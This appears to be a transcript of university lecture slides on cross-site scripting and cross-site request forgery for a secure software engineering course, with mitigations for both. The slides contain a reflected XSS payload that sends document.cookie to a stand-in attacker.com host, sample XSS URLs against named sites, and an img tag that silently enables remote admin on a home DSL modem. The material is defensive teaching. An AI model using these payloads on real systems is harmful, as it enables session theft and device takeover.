Transcript Cross-Site Attacks James Walden Northern Kentucky University Cross-Site Attacks Target users of application.  Use application feature to reach other users of application.  Clients are.

Cross-Site Attacks
James Walden
Northern Kentucky University
Cross-Site Attacks
Target users of application.
 Use application feature to reach other users
of application.
 Clients are less well defended than servers.
 Obtain assets of individual users rather than
assets of entire application.
Most common type of attack.
 Cross-Site Scripting (XSS)
 Cross-Site Request Forgery (CSRF)
CSC 666: Secure Software Engineering
Cross-Site Scripting (XSS)
 Attacker causes a legitimate web server to
send user executable content (Javascript,
Flash ActiveScript) of attacker’s choosing.
 Impact of XSS




Account hijacking.
Browser hijacking (malware hosting.)
Information leakage (stored form values, etc.)
Virtual defacement.
CSC 666: Secure Software Engineering
XSS Examples
MySpace worm (October 2005)
 When someone viewed Samy’s profile:
- Set him as friend of viewer.
- Incorporated code in viewer’s profile.
Paypal (2006)
 XSS redirect used to steal money from Paypal
users in a phishing scam.
BBC, CBS (2006)
 By following XSS link from securitylab.ru, you could
read an apparently valid story on the BBC or CBS
site claiming that Bush appointed a 9-year old as
head of the Information Security department.
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XSS Key Steps
1.
2.
3.
4.
Attacker sends code to web application.
Legitimate user accesses web app.
Web app sends attacker code to user.
User’s browser executes code.
CSC 666: Secure Software Engineering
XSS Example
Client browser sends an error message to
the web server.
https://example.com/error.php?message=
Sorry%2C+an +error+occurred
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XSS Example
The error message is “Reflected” back
from the Web server to the client in a web
page.
CSC 666: Secure Software Engineering
XSS Example
We can replace the error with JavaScript
https://example.com/error.php?message=<s
cript>alert(‘xss’);</script>
CSC 666: Secure Software Engineering
Exploiting the Example
1. User logins in and is issued a cookie
2. Attacker feed the URL to user
https://example.com/error.php?message=<s
cript>var+i=new+Image;+i.src=“http://atta
cker.com/”%2bdocument.cookie;</script>
CSC 666: Secure Software Engineering
Why does XSS Work?
Same-Origin Policy
 Browser only allows Javascript from site X to
access cookies and other data from site X.
 Attacker needs to make attack come from
site X.
Vulnerable Server Program
 Any program that returns user input without
filtering out dangerous code.
CSC 666: Secure Software Engineering
Reflected XSS
 Attack Scenario
 User clicks on link.
 Injected script returned by one-time message
from vulnerable site.
 User browser executes injected code.
 Limitations
 Non-persistent. Only works when user clicks.
 Most common type of XSS (~75%).
CSC 666: Secure Software Engineering
Anatomy of an XSS Attack
Web Server
Attacker
User
3. XSS Attack
7. Browser runs
injected code.
4. User clicks on XSS link.
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Evil site saves ID.
XSS URL Examples
http://www.microsoft.com/education/?ID=MCTN&target=h
ttp://www.microsoft.com/education/?ID=MCTN&target=
"><script>alert(document.cookie)</script>
http://hotwired.lycos.com/webmonkey/00/18/index3a_pa
ge2.html?tw=<script>alert(‘Test’);</script>
http://www.shopnbc.com/listing.asp?qu=<script>alert(
document.cookie)</script>&frompage=4&page=1&ct=VVT
V&mh=0&sh=0&RN=1
http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_searc
h_exe?search_text=_%22%3E%3Cscript%3Ealert%28docum
ent.cookie%29%3C%2Fscript%3E
CSC 666: Secure Software Engineering
Stored XSS
 Injected script stored in
 Post or comment.
 Review.
 Uploaded file.
 User views page with injected script.
 Malicious action is taken while user is logged
into site where malware found.
 Not technically cross-site.
 Attack persists until injected code deleted.
CSC 666: Secure Software Engineering
DOM-based XSS
Attack scenario
 User clicks on URL with crafted Javascript.
 Application’s client code extracts data from
URL and dynamically updates page with it.
 User browser executes crafted Javascript that
was inserted in the page.
Exploits vulnerability in client code.
 Server does not reflect or store evil Javascript.
CSC 666: Secure Software Engineering
Mitigating XSS
1. Disallow HTML input
2. Allow only safe HTML tags
3. Filter output
Replace HTML special characters in output
ex: replace < with &lt; and > with &gt;
also replace (, ), #, &
4. Tagged cookies
Include IP address in cookie and only allow
access to original IP address that cookie was
created for.
CSC 666: Secure Software Engineering
Cross-Site Request Forgery
A confused deputy attack.
 Exploits trust that application has with
authentication sessions.
Attack scenario:
 User authenticates to web application.
 User browses to another site containing a
malicious CSRF attack link to web app.
- iframe, img, link, bgsound, etc.
 Browser accesses web app with cached
credentials, performing whatever action
specified by the link.
CSC 666: Secure Software Engineering
Why is the Application Fooled?
 Browser sends same GET request if
 User submits form.
 Browser fetches iframe or img src, etc.
 Browser sends cookies with any GET
request to appropriate domain + path.
 Same origin policy applies to frames, XHRs,
but not to HTML tags.
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Example: DSL Modem Attack
 Home network devs
administered via web
apps.
 Standard local IPs.
 Attacker inserts 1-pixel
img tag on page.
 src is URL of form
submission, giving remote
admin.
 No password needed.
 Software owner assumed
device on trusted local
network.
 Of course, browser is on the
local network too.
<img
src="http://192.168.1.254/Forms/remoteRES_1?NSS_Rem
otePassword=blehblah&NSS_EnableWANAdminAccessRE
S=on&timeoutDisable=0&Enable=Enable" alt="" width="1"
height="1" />
CSC 666: Secure Software Engineering
Mitigating CSRF
Require POST for data modifications, but
 Many frameworks automatically fetch both types of
parameters or convert one to other.
 Hidden POST requests can be created with scripts.
Check referer header.
 But users can block or forge referer header, so it
cannot be relied on for everyone.
Use nonces.
 Random token inserted as hidden parameter, and
thus submitted with form.
 But XSS can read form, so a combined XSS + CSRF
attack can bypass this defense.
CSC 666: Secure Software Engineering
Mitigating CSRF
Re-authenticate for high value transactions.
 Use out of band authentication if possible.
Expire session IDs quickly.
 But there will always be some time period in
which a CSRF attack will work.
Automate defenses with tools.
 CSRFGuard to insert nonces.
 CSRFTester to verify application.
CSC 666: Secure Software Engineering
References
1.
2.
3.
4.
5.
6.
Brian Chess and Jacob West, Secure Programming
with Static Analysis, Addison-Wesley, 2007.
Seth Fogie et. al., XSS Attacks: Cross-Site Scripting
Exploits and Defense, Syngress, 2007.
Michael Howard, David LeBlanc, and John Viega, 19
Deadly Sins of Software Security, McGraw-Hill
Osborne, 2005.
Nathan, http://www.neohaxor.org/2008/12/01/csrfvulns-on-local-network-devices/, 2008.
PCI Security Standards Council, PCI DSS
Requirements and Security Assessment Procedures,
v1.2, 2008.
Dafydd Stuttart and Marcus Pinto, The Web
Application Hacker’s Handbook, Wiley, 2008.
CSC 666: Secure Software Engineering